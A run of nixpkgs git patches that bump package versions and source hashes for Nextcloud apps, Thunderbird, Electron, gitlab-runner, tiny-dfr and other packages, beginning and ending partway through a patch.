@@ -40,9 +40,9 @@
     ]
   },
   "contacts": {
-    "hash": "sha256-uT1QOZpuKvsrnZWYbaQUhUdM49xdIivotFe6FAz330I=",
-    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.1.3/contacts-v7.1.3.tar.gz",
-    "version": "7.1.3",
+    "hash": "sha256-52FNlLIc4Xr/8mKzEJW8YJ7RbfaeSpMaIxGhBFp0WFc=",
+    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.1.5/contacts-v7.1.5.tar.gz",
+    "version": "7.1.5",
     "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.",
     "homepage": "https://github.com/nextcloud/contacts#readme",
     "licenses": [
@@ -130,9 +130,9 @@
     ]
   },
   "forms": {
-    "hash": "sha256-t4/1Rq99VH+g43zLcms5P714bSYv5h6RTaI4Q7jvD+Y=",
-    "url": "https://github.com/nextcloud-releases/forms/releases/download/v5.1.0/forms-v5.1.0.tar.gz",
-    "version": "5.1.0",
+    "hash": "sha256-WOLrsu/0CYPnthm+c6TELXUis91bnEclQJ5iOdBeszc=",
+    "url": "https://github.com/nextcloud-releases/forms/releases/download/v5.1.2/forms-v5.1.2.tar.gz",
+    "version": "5.1.2",
     "description": "**Simple surveys and questionnaires, self-hosted!**\n\n- **📝 Simple design:** No mass of options, only the essentials. Works well on mobile of course.\n- **📊 View & export results:** Results are visualized and can also be exported as CSV in the same format used by Google Forms.\n- **🔒 Data under your control!** Unlike in Google Forms, Typeform, Doodle and others, the survey info and responses are kept private on your instance.\n- **🧑‍💻 Connect to your software:** Easily integrate Forms into your service with our full-fledged [REST-API](https://github.com/nextcloud/forms/blob/main/docs/API.md).\n- **🙋 Get involved!** We have lots of stuff planned like more question types, collaboration on forms, [and much more](https://github.com/nextcloud/forms/milestones)!",
     "homepage": "https://github.com/nextcloud/forms",
     "licenses": [
@@ -150,10 +150,10 @@
     ]
   },
   "groupfolders": {
-    "hash": "sha256-GEM5Xw8J2xFOTf9AOlOttVXo25E/x4foT9493J9ZIf4=",
-    "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v19.1.0/groupfolders-v19.1.0.tar.gz",
-    "version": "19.1.0",
-    "description": "Admin configured folders shared with everyone in a team.\n\nFolders can be configured from *Team folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more teams, control their write/sharing permissions and assign a quota for the folder.",
+    "hash": "sha256-KqbPvcHOYJA8bjWbh6X/7RM78FGCqFJIOS8FgugJyJk=",
+    "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v19.1.2/groupfolders-v19.1.2.tar.gz",
+    "version": "19.1.2",
+    "description": "Admin configured folders shared with everyone in a group.\n\nFolders can be configured from *Group folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more groups, control their write/sharing permissions and assign a quota for the folder.",
     "homepage": "https://github.com/nextcloud/groupfolders",
     "licenses": [
       "agpl"
@@ -200,9 +200,9 @@
     ]
   },
   "mail": {
-    "hash": "sha256-P2LeJOjCR6ufq26gz4aK/Xy359vwnD2TZJodn/YfXcU=",
-    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.3/mail-v5.1.3.tar.gz",
-    "version": "5.1.3",
+    "hash": "sha256-FSpr/PVZlx4t+1cGmyoES/9i0c2nyRTPLTodLM2JP04=",
+    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.7/mail-v5.1.7.tar.gz",
+    "version": "5.1.7",
     "description": "**💌 A mail app for Nextcloud**\n\n- **🚀 Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files – more to come.\n- **📥 Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **🔒 Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **🙈 We’re not reinventing the wheel!** Based on the great [Horde](https://www.horde.org) libraries.\n- **📬 Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** 🟢/🟡/🟠/🔴\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/mail#readme",
     "licenses": [
@@ -230,19 +230,19 @@
     ]
   },
   "music": {
-    "hash": "sha256-h83Xc292/NQPWOTRIbUSgqHUH/Sp4fYJ8GAHSiJWHP0=",
-    "url": "https://github.com/owncloud/music/releases/download/v2.1.4/music_2.1.4_for_nextcloud.tar.gz",
-    "version": "2.1.4",
-    "description": "A stand-alone music player app and a \"lite\" player for the Files app\n\n- On modern browsers, supports audio types .mp3, .ogg, .m4a, .m4b, .flac, .wav, and more\n- Playlist support with import from m3u, m3u8, and pls files\n- Browse by artists, albums, genres, or folders\n- Gapless play\n- Filter the shown content with the search function\n- Advanced search to freely use and combine dozens of search criteria\n- Play internet radio and podcast channels\n- Setup Last.fm connection to see background information on artists, albums, and songs\n- Control with media control keys on the keyboard or OS\n- The app can handle libraries consisting of thousands of albums and tens of thousands of songs\n- Includes a server backend compatible with the Subsonic and Ampache protocols, allowing playback and browsing of your library on dozens of external apps on Android, iOS, Windows, Linux, etc.\n- Widget for the Nextcloud Dashboard",
+    "hash": "sha256-8FQrQdoaSeJh4tnqvGOiuxN1YPQIJSwm6sTHOfc31cg=",
+    "url": "https://github.com/owncloud/music/releases/download/v2.2.0/music_2.2.0_for_nextcloud.tar.gz",
+    "version": "2.2.0",
+    "description": "A stand-alone music player app and a \"lite\" player for the Files app\n\n- On modern browsers, supports audio types .mp3, .ogg, .m4a, .m4b, .flac, .wav, and more\n- Playlist support with import from .m3u, .m3u8, .pls, and .wpl files\n- Show lyrics from the file metadata or .lrc files\n- Browse by artists, albums, genres, or folders\n- Gapless play\n- Filter the shown content with the search function\n- Advanced search to freely use and combine dozens of search criteria\n- Play internet radio and podcast channels\n- Setup Last.fm connection to see background information on artists, albums, and songs\n- Control with media control keys on the keyboard or OS\n- The app can handle libraries consisting of thousands of albums and tens of thousands of songs\n- Includes a server backend compatible with the Subsonic and Ampache protocols, allowing playback and browsing of your library on dozens of external apps on Android, iOS, Windows, Linux, etc.\n- Widget for the Nextcloud Dashboard",
     "homepage": "https://github.com/owncloud/music",
     "licenses": [
       "agpl"
     ]
   },
   "news": {
-    "hash": "sha256-T/ZKL4YWw0ai7mZ9gm91BUl6Md6hyTakYgKsarSYO4k=",
-    "url": "https://github.com/nextcloud/news/releases/download/26.0.1/news.tar.gz",
-    "version": "26.0.1",
+    "hash": "sha256-Y1+hcRxewWyctG5nS7GjN+zWCBrxoroeb01HLzqAR08=",
+    "url": "https://github.com/nextcloud/news/releases/download/26.0.2/news.tar.gz",
+    "version": "26.0.2",
     "description": "📰 A RSS/Atom Feed reader App for Nextcloud\n\n- 📲 Synchronize your feeds with multiple mobile or desktop [clients](https://nextcloud.github.io/news/clients/)\n- 🔄 Automatic updates of your news feeds\n- 🆓 Free and open source under AGPLv3, no ads or premium functions\n\n**System Cron is currently required for this app to work**\n\nRequirements can be found [here](https://nextcloud.github.io/news/install/#dependencies)\n\nThe Changelog is available [here](https://github.com/nextcloud/news/blob/master/CHANGELOG.md)\n\nCreate a [bug report](https://github.com/nextcloud/news/issues/new/choose)\n\nCreate a [feature request](https://github.com/nextcloud/news/discussions/new)\n\nReport a [feed issue](https://github.com/nextcloud/news/discussions/new)",
     "homepage": "https://github.com/nextcloud/news",
     "licenses": [
@@ -300,10 +300,10 @@
     ]
   },
   "polls": {
-    "hash": "sha256-AJUC5UIz6xY75cEJHfNjhUm9K9HnXWMokt9gIOcq8vI=",
-    "url": "https://github.com/nextcloud-releases/polls/releases/download/v7.4.3/polls-v7.4.3.tar.gz",
-    "version": "7.4.3",
-    "description": "A polls app, similar to Doodle/Dudle with the possibility to restrict access (members, certain groups/users, hidden and public).",
+    "hash": "sha256-iv3Jjx/p2uGhxYctaMaaB/5c3oroauE8iOEH2eWi4+A=",
+    "url": "https://github.com/nextcloud-releases/polls/releases/download/v8.0.6/polls-v8.0.6.tar.gz",
+    "version": "8.0.6",
+    "description": "A polls app, similar to Doodle/DuD-Poll with the possibility to restrict access (members, certain groups/users, hidden and public).",
     "homepage": "https://github.com/nextcloud/polls",
     "licenses": [
       "agpl"
@@ -350,9 +350,9 @@
     ]
   },
   "richdocuments": {
-    "hash": "sha256-3tCUe7mXgUpmWSWd1y7uYGc3yBk2C26QLPAOcfsUEjY=",
-    "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.7.0/richdocuments-v8.7.0.tar.gz",
-    "version": "8.7.0",
+    "hash": "sha256-qJt7nkXhW3t0c8m+MHStWt2FnSNUNiMbDLeDOpU8VVA=",
+    "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.7.1/richdocuments-v8.7.1.tar.gz",
+    "version": "8.7.1",
     "description": "This application can connect to a Collabora Online (or other) server (WOPI-like Client). Nextcloud is the WOPI Host. Please read the documentation to learn more about that.\n\nYou can also edit your documents off-line with the Collabora Office app from the **[Android](https://play.google.com/store/apps/details?id=com.collabora.libreoffice)** and **[iOS](https://apps.apple.com/us/app/collabora-office/id1440482071)** store.",
     "homepage": "https://collaboraoffice.com/",
     "licenses": [
@@ -370,9 +370,9 @@
     ]
   },
   "spreed": {
-    "hash": "sha256-DxwK3PMsLTxbdjyM10rX6wveRFCr8EoIGToKSkaMwYM=",
-    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v21.1.0/spreed-v21.1.0.tar.gz",
-    "version": "21.1.0",
+    "hash": "sha256-tumLEoJAGvcFgN8dQbmwxPofOQ825mySOa5qNg6wzgs=",
+    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v21.1.1/spreed-v21.1.1.tar.gz",
+    "version": "21.1.1",
     "description": "Chat, video & audio-conferencing using WebRTC\n\n* 💬 **Chat** Nextcloud Talk comes with a simple text chat, allowing you to share or upload files from your Nextcloud Files app or local device and mention other participants.\n* 👥 **Private, group, public and password protected calls!** Invite someone, a whole group or send a public link to invite to a call.\n* 🌐 **Federated chats** Chat with other Nextcloud users on their servers\n* 💻 **Screen sharing!** Share your screen with the participants of your call.\n* 🚀 **Integration with other Nextcloud apps** like Files, Calendar, User status, Dashboard, Flow, Maps, Smart picker, Contacts, Deck, and many more.\n* 🌉 **Sync with other chat solutions** With [Matterbridge](https://github.com/42wim/matterbridge/) being integrated in Talk, you can easily sync a lot of other chat solutions to Nextcloud Talk and vice-versa.",
     "homepage": "https://github.com/nextcloud/spreed",
     "licenses": [
@@ -410,9 +410,9 @@
     ]
   },
   "unroundedcorners": {
-    "hash": "sha256-ONOBDUciyWlKvi3Fd5+mWh3OLRfyW+PlKJKJWdMph0U=",
-    "url": "https://github.com/OliverParoczai/nextcloud-unroundedcorners/releases/download/v1.1.4/unroundedcorners-v1.1.4.tar.gz",
-    "version": "1.1.4",
+    "hash": "sha256-0+fOJnPsuengy8TPzTKizDnDXTlZStalFDOv+dFlRgc=",
+    "url": "https://github.com/OliverParoczai/nextcloud-unroundedcorners/releases/download/v1.1.5/unroundedcorners-v1.1.5.tar.gz",
+    "version": "1.1.5",
     "description": "# Unrounded Corners\nA Nextcloud app that restores the corners of buttons and widgets to their original looks by unrounding them.",
     "homepage": "https://github.com/OliverParoczai/nextcloud-unroundedcorners",
     "licenses": [
@@ -460,9 +460,9 @@
     ]
   },
   "whiteboard": {
-    "hash": "sha256-hz8nviBUakDWH5ThDILoRFxyBFVpzJgXM6dgqry13tc=",
-    "url": "https://github.com/nextcloud-releases/whiteboard/releases/download/v1.0.5/whiteboard-v1.0.5.tar.gz",
-    "version": "1.0.5",
+    "hash": "sha256-njiTDKDiwDeOH9biOohIQueAI8/pSijWy8EDXHoVeQo=",
+    "url": "https://github.com/nextcloud-releases/whiteboard/releases/download/v1.1.2/whiteboard-v1.1.2.tar.gz",
+    "version": "1.1.2",
     "description": "The official whiteboard app for Nextcloud. It allows users to create and share whiteboards with other users and collaborate in real-time.\n\n**Whiteboard requires a separate collaboration server to work.** Please see the [documentation](https://github.com/nextcloud/whiteboard?tab=readme-ov-file#backend) on how to install it.\n\n- 🎨 Drawing shapes, writing text, connecting elements\n- 📝 Real-time collaboration\n- 🖼️ Add images with drag and drop\n- 📊 Easily add mermaid diagrams\n- ✨ Use the Smart Picker to embed other elements from Nextcloud\n- 📦 Image export\n- 💪 Strong foundation: We use Excalidraw as our base library",
     "homepage": "https://github.com/nextcloud/whiteboard",
     "licenses": [

From 37f5c90f7dbb3b09180a5baa751fcedfd79c5b24 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 11 Jul 2025 14:46:53 +0000
Subject: [PATCH 2331/4511] lunatask: 2.1.1 -> 2.1.2

(cherry picked from commit 065c015c94e72462b46804ca8cc71ec0084e568a)
---
 pkgs/by-name/lu/lunatask/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lu/lunatask/package.nix b/pkgs/by-name/lu/lunatask/package.nix
index a63ae4563c62..440c8047ae79 100644
--- a/pkgs/by-name/lu/lunatask/package.nix
+++ b/pkgs/by-name/lu/lunatask/package.nix
@@ -6,12 +6,12 @@
 }:
 
 let
-  version = "2.1.1";
+  version = "2.1.2";
   pname = "lunatask";
 
   src = fetchurl {
     url = "https://github.com/lunatask/lunatask/releases/download/v${version}/Lunatask-${version}.AppImage";
-    hash = "sha256-2ks5sqE0NuVa3fyJzKJ/466Ztq9M/RhDxHZCL8tSwo4=";
+    hash = "sha256-MjzqoLPtTspLowDO3MV0joGoYuxjybuExC1h03AayB0=";
   };
 
   appimageContents = appimageTools.extract {

From c99134a0bfedabfaf39433c0ed8db0c7c8fe4964 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 12 Jul 2025 12:35:07 +0000
Subject: [PATCH 2332/4511] thunderbird-latest-unwrapped: 140.0 -> 140.0.1

(cherry picked from commit fa02dbc742085d534f2153296e9e8ffb8b421d32)
---
 .../networking/mailreaders/thunderbird/packages.nix           | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index 35f83fe6812d..d2c19ccf8112 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -95,8 +95,8 @@ rec {
   thunderbird = thunderbird-latest;
 
   thunderbird-latest = common {
-    version = "140.0";
-    sha512 = "2e9a5fb44b21eba3e3295205142bfad666a65f9eea43118388968320597a940cf3c5675fbcf458fbbaa9e1bb85fe8a663feda6461b7e23f7103c5bb7a1103bd4";
+    version = "140.0.1";
+    sha512 = "fbef1d0228c49fc9c11425b6be03bb7e44e6abc6f2027ee23317270ca2c6b0a935bb41b38667acf014bd9e1166cbe62754f1e919e04f2355dc4c833e015c78b8";
 
     updateScript = callPackage ./update.nix {
       attrPath = "thunderbirdPackages.thunderbird-latest";

From 4d63ce8b30a541ad7e4fa12f4c3b87a3f130732d Mon Sep 17 00:00:00 2001
From: Florian Klink <flokli@flokli.de>
Date: Wed, 28 May 2025 13:23:20 +0300
Subject: [PATCH 2333/4511] tiny-dfr: 0.3.2 -> 0.3.5

The project has moved to the AsahiLinux org, and now needs librsvg.

(cherry picked from commit 4d6af36c7368131c503ff0527f260889c71c1592)
---
 pkgs/by-name/ti/tiny-dfr/package.nix | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/ti/tiny-dfr/package.nix b/pkgs/by-name/ti/tiny-dfr/package.nix
index 0f217d0f7492..fea0a478aee2 100644
--- a/pkgs/by-name/ti/tiny-dfr/package.nix
+++ b/pkgs/by-name/ti/tiny-dfr/package.nix
@@ -7,6 +7,7 @@
   gdk-pixbuf,
   glib,
   libinput,
+  librsvg,
   libxml2,
   pango,
   udev,
@@ -14,17 +15,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "tiny-dfr";
-  version = "0.3.2";
+  version = "0.3.5";
 
   src = fetchFromGitHub {
-    owner = "WhatAmISupposedToPutHere";
+    owner = "AsahiLinux";
     repo = "tiny-dfr";
-    rev = "v${version}";
-    hash = "sha256-5u5jyoDEt7aMs8/8QrhrUrUzFJJCNayqbN2WrMhUCV4=";
+    tag = "v${version}";
+    hash = "sha256-G4OeYZH3VF6fKWxHYLTmwzQmQ4JupgYNH/6aJSgINvg=";
   };
 
-  useFetchCargoVendor = true;
-  cargoHash = "sha256-9UlH2W8wNzdZJxIgOafGylliS2RjaBlpirxSWHJ/SIQ=";
+  cargoHash = "sha256-/PtoAc2ZNJfW5gegcFQAAlEmjSMysZ+QebVfHtW35Nk=";
 
   nativeBuildInputs = [ pkg-config ];
   buildInputs = [
@@ -32,6 +32,7 @@ rustPlatform.buildRustPackage rec {
     gdk-pixbuf
     glib
     libinput
+    librsvg
     libxml2
     pango
     udev
@@ -49,7 +50,7 @@ rustPlatform.buildRustPackage rec {
   '';
 
   meta = with lib; {
-    homepage = "https://github.com/WhatAmISupposedToPutHere/tiny-dfr";
+    homepage = "https://github.com/AsahiLinux/tiny-dfr";
     description = "Most basic dynamic function row daemon possible";
     license = [
       licenses.asl20

From 92425d1d70c7f2615d4749a07541f6aae41af364 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Thu, 10 Jul 2025 20:20:22 +0800
Subject: [PATCH 2334/4511] qt6.qtwebengine: fix build on darwin

(cherry picked from commit 9bef2747f7e8dbee9ab5de935fc1b511adb9789f)
---
 .../libraries/qt-6/modules/qtwebengine/default.nix            | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix b/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
index 710c53091de1..192f1138c0a6 100644
--- a/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
@@ -153,8 +153,8 @@ qtModule {
         src/3rdparty/chromium/gpu/config/gpu_info_collector_linux.cc
     ''
     + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace cmake/Functions.cmake \
-        --replace "/usr/bin/xcrun" "${xcbuild}/bin/xcrun"
+      substituteInPlace cmake/QtToolchainHelpers.cmake \
+        --replace-fail "/usr/bin/xcrun" "${xcbuild}/bin/xcrun"
     '';
 
   cmakeFlags =

From fd56426ff6757d21d1d8d7862a2c089df284abb7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 5 Jul 2025 05:49:15 +0000
Subject: [PATCH 2335/4511] gitlab-runner: 18.1.0 -> 18.1.1

(cherry picked from commit 4dcf45cfe2fefc0a0187159c586de064b74db8ce)
---
 pkgs/by-name/gi/gitlab-runner/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/gi/gitlab-runner/package.nix b/pkgs/by-name/gi/gitlab-runner/package.nix
index 66d691a25e0e..1f5aafe26afb 100644
--- a/pkgs/by-name/gi/gitlab-runner/package.nix
+++ b/pkgs/by-name/gi/gitlab-runner/package.nix
@@ -10,16 +10,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "gitlab-runner";
-  version = "18.1.0";
+  version = "18.1.1";
 
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-runner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Bm3WP8d4Fpcjj/2Ljl9AuhULTMHvWjOKjhN3tx6lEQQ=";
+    hash = "sha256-XJgGw+7jC0b/UBI3p7RoamOSHGswtPaO4f/apARVW2Y=";
   };
 
-  vendorHash = "sha256-7efuq0D1X+HJF4RT5bSri2B0Ad/AzbsKWFYGdtQxA+Q=";
+  vendorHash = "sha256-G9qZKWI//ECG88Tu8zb8nEDSwNRabVMsrp7aQzVsxCY=";
 
   # For patchShebangs
   buildInputs = [ bash ];

From 873120a336d91d7b9e6644d2cc12966dbac745bc Mon Sep 17 00:00:00 2001
From: Yureka <yureka@cyberchaos.dev>
Date: Sat, 12 Jul 2025 14:07:51 +0200
Subject: [PATCH 2336/4511] electron_36: adjust hash to new tag

https://github.com/electron/electron/issues/47716
(cherry picked from commit 0afd7b691065b50d73146975487c923b524375ec)
---
 pkgs/development/tools/electron/info.json | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index cd036c46e4ee..22ae2b01ece1 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -1366,7 +1366,7 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-Y6OnTmAleyYsmUn/F6kOFNkA4x+QQt00mx97UNWVIWU=",
+                    "hash": "sha256-/5e0R3R3RRsRNcYYHqb/VJ8DIXc528baIccnQocoxwU=",
                     "owner": "electron",
                     "repo": "electron",
                     "tag": "v36.7.1"

From 7abb57f0248d694c13449934bf6bf03d7efe5c16 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Sun, 13 Jul 2025 10:45:09 +0300
Subject: [PATCH 2337/4511] electron_36-bin: update hashes

Upstream reissued the release.

(cherry picked from commit 2f0a9075f6fee22aca84e6276665091c6c94b750)
---
 pkgs/development/tools/electron/binary/info.json       | 10 +++++-----
 pkgs/development/tools/electron/chromedriver/info.json | 10 +++++-----
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 04a1fcc973da..e731d8bd9dde 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -34,12 +34,12 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "e79f3fd064cec1b8cd867cd567fbe69f3346520740e22748bfe9b5fb2f01f521",
-            "aarch64-linux": "0e84759948f590538e7e0a00eafd128d68c9d3572b0cce0a8758a78a79de6e86",
-            "armv7l-linux": "94c5a1f3aec2cf72f5df820e8aa7d3e6fb5945bd6b75451ffef1efd08fa074aa",
+            "aarch64-darwin": "e4b79adf57b6e85ab6c818c283a2ed075fdc989da201e279ff94ace89051501d",
+            "aarch64-linux": "7511e5e62393f5ee1a7e97c39b0c6d78e5d083817d5589d6c07a2924dd9c277a",
+            "armv7l-linux": "089ebc98b798398b0413afb04836ad8c9db2adc4c41057ba4089e50e7f485c38",
             "headers": "09808hmprjpm33h5lx739i1yllwqy89n62ycaxrh6w42sncb2gm9",
-            "x86_64-darwin": "93d60bd40a9b41f126ab04442a1781ccdb7934d012d8606cfdebe059d922e308",
-            "x86_64-linux": "27b4efb0d86a628407716268c2b4057c7b695390bd121f500c0daaea2e6c9af5"
+            "x86_64-darwin": "95ebf1d455cc3b694fe057221d8053a0f1cbbb64b74bf5982d5a43cffc7e074b",
+            "x86_64-linux": "315da2bc92bf40bcab5b1da28778048fb5f4eeca75bcc78e0f25cda1773e094e"
         },
         "version": "36.7.1"
     },
diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index cdcf59551c0e..e7054bf8ef0c 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -34,12 +34,12 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "58620f79f034970abe41b7c3ae2e317dc8935d937ca07a37017ff528fb7affd3",
-            "aarch64-linux": "cd87231b0db40c8193e65bedf69451604c246867e56c7d52deb15dbdf4e7d527",
-            "armv7l-linux": "cab434d3c281756ebd6f4fda4477a744a8081ac5eb8c938824d7391f8d5e2e32",
+            "aarch64-darwin": "cdcf2c88d2d951761517669886521043d4e63fb5538fab01a5469594f8af4fa9",
+            "aarch64-linux": "f629a35f5ee5ce902581ae4d4cdfacbd25dc72573805abe8484f28a6b7f74abe",
+            "armv7l-linux": "b9db0483bdff794d08cdd0e30a861b6b9e31a94f99b37893f2a7fbc6069e74ff",
             "headers": "09808hmprjpm33h5lx739i1yllwqy89n62ycaxrh6w42sncb2gm9",
-            "x86_64-darwin": "bd851936d81cc4ddb2591ff2544ce6952ce49052ed6c929eb6c2a712e63ce4ea",
-            "x86_64-linux": "c4219caa0f8806e9ffabc7dccfb29ae2f9bca02a11fedd1090ad4c800c9783b1"
+            "x86_64-darwin": "3d212fd07716510f894b3e5833d5bb7a53298a8add1fe96d5264d16c2235eda1",
+            "x86_64-linux": "1a6f7a0df64475a467b20548ab41c8576781b5e34a6bf74751c7384623acd2fb"
         },
         "version": "36.7.1"
     },

From 046c6aff302f4e13fcfa155dafea2b4cbd725491 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Sat, 12 Jul 2025 10:56:39 +0200
Subject: [PATCH 2338/4511] proton-ge-bin: GE-Proton10-8 -> GE-Proton10-9

(cherry picked from commit 050c16dd9de0307a4e1dade8de28d5d68ff6e8b2)
---
 pkgs/by-name/pr/proton-ge-bin/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/proton-ge-bin/package.nix b/pkgs/by-name/pr/proton-ge-bin/package.nix
index 4a6e1c0c0a41..bab83e3a3fb2 100644
--- a/pkgs/by-name/pr/proton-ge-bin/package.nix
+++ b/pkgs/by-name/pr/proton-ge-bin/package.nix
@@ -9,11 +9,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "proton-ge-bin";
-  version = "GE-Proton10-8";
+  version = "GE-Proton10-9";
 
   src = fetchzip {
     url = "https://github.com/GloriousEggroll/proton-ge-custom/releases/download/${finalAttrs.version}/${finalAttrs.version}.tar.gz";
-    hash = "sha256-cbmOQYWEP/uB2ZoMAbtbeXbOJjxZui0n2U+Tr/OLKjA=";
+    hash = "sha256-DJ7bRjzJehSFIyBo+oJyyWui+a3udGxc38P9Hw+xU9U=";
   };
 
   dontUnpack = true;

From 4f64aebf2882cf694bd6bf7fc89767a40c1c03e1 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 10 Jul 2025 11:38:32 +0000
Subject: [PATCH 2339/4511] wofi-power-menu: 0.2.7 -> 0.2.9

Changelog: https://github.com/szaffarano/wofi-power-menu/releases/tag/v0.2.9
Diff: https://github.com/szaffarano/wofi-power-menu/compare/v0.2.7...v0.2.9
(cherry picked from commit 62b17b4af2810ce3683e1c085e82b92dadfc2788)
---
 pkgs/by-name/wo/wofi-power-menu/package.nix | 16 ++++------------
 1 file changed, 4 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/wo/wofi-power-menu/package.nix b/pkgs/by-name/wo/wofi-power-menu/package.nix
index 49f04b70a13b..19b9163cb1bc 100644
--- a/pkgs/by-name/wo/wofi-power-menu/package.nix
+++ b/pkgs/by-name/wo/wofi-power-menu/package.nix
@@ -6,31 +6,23 @@
   wofi,
   versionCheckHook,
   nix-update-script,
-  yq,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "wofi-power-menu";
-  version = "0.2.7";
+  version = "0.2.9";
 
   src = fetchFromGitHub {
     owner = "szaffarano";
     repo = "wofi-power-menu";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-WPTK9izFU8xZ5YVFuEGO5EoOzgpXWXQnGgeNYjnb/zA=";
+    hash = "sha256-xio/Gt37PJ/0Di22na4USmfah2GV+xM2eV4NnGBeVfY=";
   };
 
-  postPatch = ''
-    tomlq -ti '.package.version = "0.2.7"' Cargo.toml
-  '';
-
   useFetchCargoVendor = true;
-  cargoHash = "sha256-oJd2ymNkNSGUD3cQ+bEHooAJQNeSarkIHWvGNXezwrM=";
+  cargoHash = "sha256-diDLKP7JGzrXgdZMwSmg70dbFlMLLWp4Ad/ejjiOSlc=";
 
-  nativeBuildInputs = [
-    makeWrapper
-    yq # for `tomlq`
-  ];
+  nativeBuildInputs = [ makeWrapper ];
 
   postInstall = ''
     wrapProgram $out/bin/wofi-power-menu \

From 08d0170d2b60860c8a5e44f0e960cb87cb4b2483 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Tue, 8 Jul 2025 13:55:15 +0800
Subject: [PATCH 2340/4511] sing-box: 1.11.14 -> 1.11.15

(cherry picked from commit 67dd1a4d20e603af12b09ba18435f8afc97dca87)
---
 pkgs/by-name/si/sing-box/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/si/sing-box/package.nix b/pkgs/by-name/si/sing-box/package.nix
index 7bf3abce085b..6f558689e0d5 100644
--- a/pkgs/by-name/si/sing-box/package.nix
+++ b/pkgs/by-name/si/sing-box/package.nix
@@ -10,16 +10,16 @@
 
